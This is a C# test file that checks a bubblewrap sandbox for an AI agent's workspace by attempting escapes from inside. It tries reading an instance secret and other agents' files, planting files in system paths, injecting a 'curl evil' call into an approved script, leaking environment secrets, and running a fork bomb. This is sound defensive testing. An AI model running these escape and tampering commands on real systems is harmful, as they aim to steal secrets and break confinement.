233 lines
9.4 KiB
C#
233 lines
9.4 KiB
C#
using System.Diagnostics;
|
|
using ClawdDotNet.Core.Sandbox;
|
|
using Microsoft.Extensions.Logging.Abstractions;
|
|
using Shouldly;
|
|
|
|
namespace ClawdDotNet.Core.Tests.Sandbox;
|
|
|
|
/// <summary>
|
|
/// A test that needs a working bubblewrap sandbox. Elsewhere it is skipped with the reason —
|
|
/// a green run on Windows would say nothing about the wall.
|
|
/// </summary>
|
|
public sealed class SandboxFactAttribute : FactAttribute
|
|
{
|
|
public SandboxFactAttribute()
|
|
{
|
|
if (SandboxEscapeTests.Runner.UnavailableReason is { } reason)
|
|
Skip = "No sandbox here: " + reason;
|
|
}
|
|
}
|
|
|
|
/// <summary>
|
|
/// #654: Every guarantee of the sandbox, tried from inside. Each test does what an escaping
|
|
/// program would do and expects it to fail.
|
|
/// </summary>
|
|
public sealed class SandboxEscapeTests : IDisposable
|
|
{
|
|
internal static readonly ISandboxRunner Runner = BwrapSandbox.Detect(NullLogger.Instance);
|
|
|
|
private readonly string _root = Path.Combine(Path.GetTempPath(), "clawd-tests", "sandbox-" + Guid.NewGuid().ToString("N")[..8]);
|
|
private readonly string _workspace;
|
|
private readonly string _instanceSecret;
|
|
|
|
public SandboxEscapeTests()
|
|
{
|
|
// An instance as it lies on disk: the agent's workspace next to what must stay out of reach.
|
|
_workspace = Path.Combine(_root, "Agents", "coder", "Workspace");
|
|
Directory.CreateDirectory(Path.Combine(_workspace, "scripts"));
|
|
File.WriteAllText(Path.Combine(_workspace, "scripts", "approved.py"), "print('checked')\n");
|
|
File.WriteAllText(Path.Combine(_workspace, "data.txt"), "agent data\n");
|
|
|
|
_instanceSecret = Path.Combine(_root, "instance.json");
|
|
File.WriteAllText(_instanceSecret, "{\"apiKey\":\"sk-secret\"}");
|
|
Directory.CreateDirectory(Path.Combine(_root, "Agents", "other", "Workspace"));
|
|
File.WriteAllText(Path.Combine(_root, "Agents", "other", "Workspace", "theirs.txt"), "not yours");
|
|
}
|
|
|
|
public void Dispose()
|
|
{
|
|
try { Directory.Delete(_root, recursive: true); }
|
|
catch { /* cleanup is secondary */ }
|
|
}
|
|
|
|
private Task<SandboxResult> Sh(string script, SandboxLimits? limits = null, IReadOnlyDictionary<string, string>? environment = null)
|
|
=> Runner.RunAsync(new SandboxRequest
|
|
{
|
|
Executable = "/bin/sh",
|
|
Arguments = ["-c", script],
|
|
WorkspacePath = _workspace,
|
|
Limits = limits ?? new SandboxLimits { Timeout = TimeSpan.FromSeconds(20) },
|
|
Environment = environment ?? new Dictionary<string, string>()
|
|
}, CancellationToken.None);
|
|
|
|
// ═══════════════════ file system ═══════════════════
|
|
|
|
[SandboxFact]
|
|
public async Task The_workspace_is_there_and_writable()
|
|
{
|
|
var result = await Sh("cat /work/data.txt && echo written > /work/out.txt");
|
|
|
|
result.ExitCode.ShouldBe(0, result.StandardError);
|
|
result.StandardOutput.ShouldContain("agent data");
|
|
File.ReadAllText(Path.Combine(_workspace, "out.txt")).ShouldContain("written");
|
|
}
|
|
|
|
[SandboxFact]
|
|
public async Task The_instance_other_workspaces_and_home_do_not_exist()
|
|
{
|
|
var home = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);
|
|
var result = await Sh(
|
|
$"for p in '{_instanceSecret}' '{_root}/Agents/other/Workspace/theirs.txt' '{home}' '{_root}'; do " +
|
|
"if [ -e \"$p\" ]; then echo \"VISIBLE $p\"; fi; done; echo done");
|
|
|
|
result.StandardOutput.ShouldNotContain("VISIBLE");
|
|
result.StandardOutput.ShouldContain("done");
|
|
}
|
|
|
|
[SandboxFact]
|
|
public async Task The_system_cannot_be_written()
|
|
{
|
|
var result = await Sh("touch /usr/bin/planted 2>/dev/null && echo PLANTED; touch /etc/planted 2>/dev/null && echo PLANTED; echo done");
|
|
|
|
result.StandardOutput.ShouldNotContain("PLANTED");
|
|
}
|
|
|
|
[SandboxFact]
|
|
public async Task What_was_checked_cannot_be_changed_from_inside()
|
|
{
|
|
var result = await Sh("echo 'import os; os.system(\"curl evil\")' >> /work/scripts/approved.py 2>/dev/null && echo CHANGED; " +
|
|
"rm -f /work/scripts/approved.py 2>/dev/null; echo done");
|
|
|
|
result.StandardOutput.ShouldNotContain("CHANGED");
|
|
File.ReadAllText(Path.Combine(_workspace, "scripts", "approved.py")).ShouldBe("print('checked')\n");
|
|
}
|
|
|
|
// ═══════════════════ inheritance ═══════════════════
|
|
|
|
[SandboxFact]
|
|
public async Task Nothing_of_the_main_process_environment_arrives()
|
|
{
|
|
Environment.SetEnvironmentVariable("CLAWD_TEST_SECRET", "sk-should-not-leak");
|
|
try
|
|
{
|
|
var result = await Sh("env", environment: new Dictionary<string, string> { ["GIVEN"] = "yes" });
|
|
|
|
result.StandardOutput.ShouldNotContain("sk-should-not-leak");
|
|
result.StandardOutput.ShouldContain("GIVEN=yes");
|
|
}
|
|
finally
|
|
{
|
|
Environment.SetEnvironmentVariable("CLAWD_TEST_SECRET", null);
|
|
}
|
|
}
|
|
|
|
[SandboxFact]
|
|
public async Task Only_the_standard_descriptors_are_open()
|
|
{
|
|
using var held = File.OpenRead(_instanceSecret); // a file the main process has open
|
|
|
|
// Listed by a child: a shell globbing its own /proc/$$/fd opens that directory and
|
|
// would count the handle as fd 3.
|
|
var result = await Sh("ls /proc/$$/fd");
|
|
|
|
result.StandardOutput.Split('\n', StringSplitOptions.RemoveEmptyEntries).ShouldBe(["0", "1", "2"], ignoreOrder: true);
|
|
}
|
|
|
|
// ═══════════════════ network and privileges ═══════════════════
|
|
|
|
[SandboxFact]
|
|
public async Task There_is_no_network_but_loopback()
|
|
{
|
|
var result = await Sh("tail -n +3 /proc/net/dev | cut -d: -f1 | tr -d ' '");
|
|
|
|
result.StandardOutput.Trim().ShouldBe("lo");
|
|
}
|
|
|
|
[SandboxFact]
|
|
public async Task No_privileges_and_the_filter_is_in_place()
|
|
{
|
|
var result = await Sh("grep -E '^(CapEff|NoNewPrivs|Seccomp):' /proc/self/status");
|
|
|
|
result.StandardOutput.ShouldContain("CapEff:\t0000000000000000");
|
|
result.StandardOutput.ShouldContain("NoNewPrivs:\t1");
|
|
result.StandardOutput.ShouldMatch(@"Seccomp:\s+2");
|
|
}
|
|
|
|
[SandboxFact]
|
|
public async Task New_namespaces_and_mounts_are_refused()
|
|
{
|
|
var result = await Sh("unshare --user true 2>/dev/null && echo UNSHARED; mount -t tmpfs none /tmp 2>/dev/null && echo MOUNTED; echo done");
|
|
|
|
result.StandardOutput.ShouldNotContain("UNSHARED");
|
|
result.StandardOutput.ShouldNotContain("MOUNTED");
|
|
result.StandardOutput.ShouldContain("done");
|
|
}
|
|
|
|
// ═══════════════════ limits ═══════════════════
|
|
|
|
[SandboxFact]
|
|
public async Task A_run_that_does_not_end_is_ended()
|
|
{
|
|
var watch = Stopwatch.StartNew();
|
|
|
|
var result = await Sh("sleep 60", new SandboxLimits { Timeout = TimeSpan.FromSeconds(1) });
|
|
|
|
result.TimedOut.ShouldBeTrue();
|
|
watch.Elapsed.ShouldBeLessThan(TimeSpan.FromSeconds(15));
|
|
}
|
|
|
|
[SandboxFact]
|
|
public async Task Endless_output_is_cut_off_and_the_run_stopped()
|
|
{
|
|
var result = await Sh("yes", new SandboxLimits { Timeout = TimeSpan.FromSeconds(20), MaxOutputBytes = 10_000 });
|
|
|
|
result.OutputTruncated.ShouldBeTrue();
|
|
result.StandardOutput.Length.ShouldBeLessThanOrEqualTo(10_000);
|
|
result.TimedOut.ShouldBeFalse("stopped for its output, not left to run into the timeout");
|
|
}
|
|
|
|
[SandboxFact]
|
|
public async Task A_fork_bomb_hits_the_process_limit()
|
|
{
|
|
var result = await Sh("i=0; while [ $i -lt 40 ]; do sleep 5 & i=$((i+1)); done; echo started $i",
|
|
new SandboxLimits { Timeout = TimeSpan.FromSeconds(20), MaxProcesses = 10 });
|
|
|
|
(result.StandardError + result.StandardOutput).ShouldMatch("(?i)(fork|resource temporarily unavailable|cannot)");
|
|
}
|
|
|
|
[SandboxFact]
|
|
public async Task The_limit_counts_the_sandbox_not_the_instances_threads()
|
|
{
|
|
// The instance itself runs hundreds of threads under the same user. Were those counted,
|
|
// the first fork would fail; five of ten must go.
|
|
var result = await Sh("i=0; while [ $i -lt 5 ]; do sleep 1 & i=$((i+1)); done; wait; echo started $i",
|
|
new SandboxLimits { Timeout = TimeSpan.FromSeconds(20), MaxProcesses = 10 });
|
|
|
|
result.StandardOutput.ShouldContain("started 5", customMessage: result.StandardError);
|
|
}
|
|
|
|
[SandboxFact]
|
|
public async Task The_programs_exit_code_comes_back()
|
|
=> (await Sh("exit 3")).ExitCode.ShouldBe(3);
|
|
|
|
[SandboxFact]
|
|
public async Task Input_reaches_the_program()
|
|
{
|
|
var result = await Runner.RunAsync(new SandboxRequest
|
|
{
|
|
Executable = "/bin/cat", WorkspacePath = _workspace, StandardInput = "hello sandbox"
|
|
}, CancellationToken.None);
|
|
|
|
result.StandardOutput.ShouldBe("hello sandbox");
|
|
}
|
|
|
|
// ═══════════════════ refused requests ═══════════════════
|
|
|
|
[SandboxFact]
|
|
public async Task A_workspace_that_is_home_is_refused()
|
|
=> await Should.ThrowAsync<ArgumentException>(() => Runner.RunAsync(new SandboxRequest
|
|
{
|
|
Executable = "/bin/true", WorkspacePath = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile)
|
|
}, CancellationToken.None));
|
|
}
|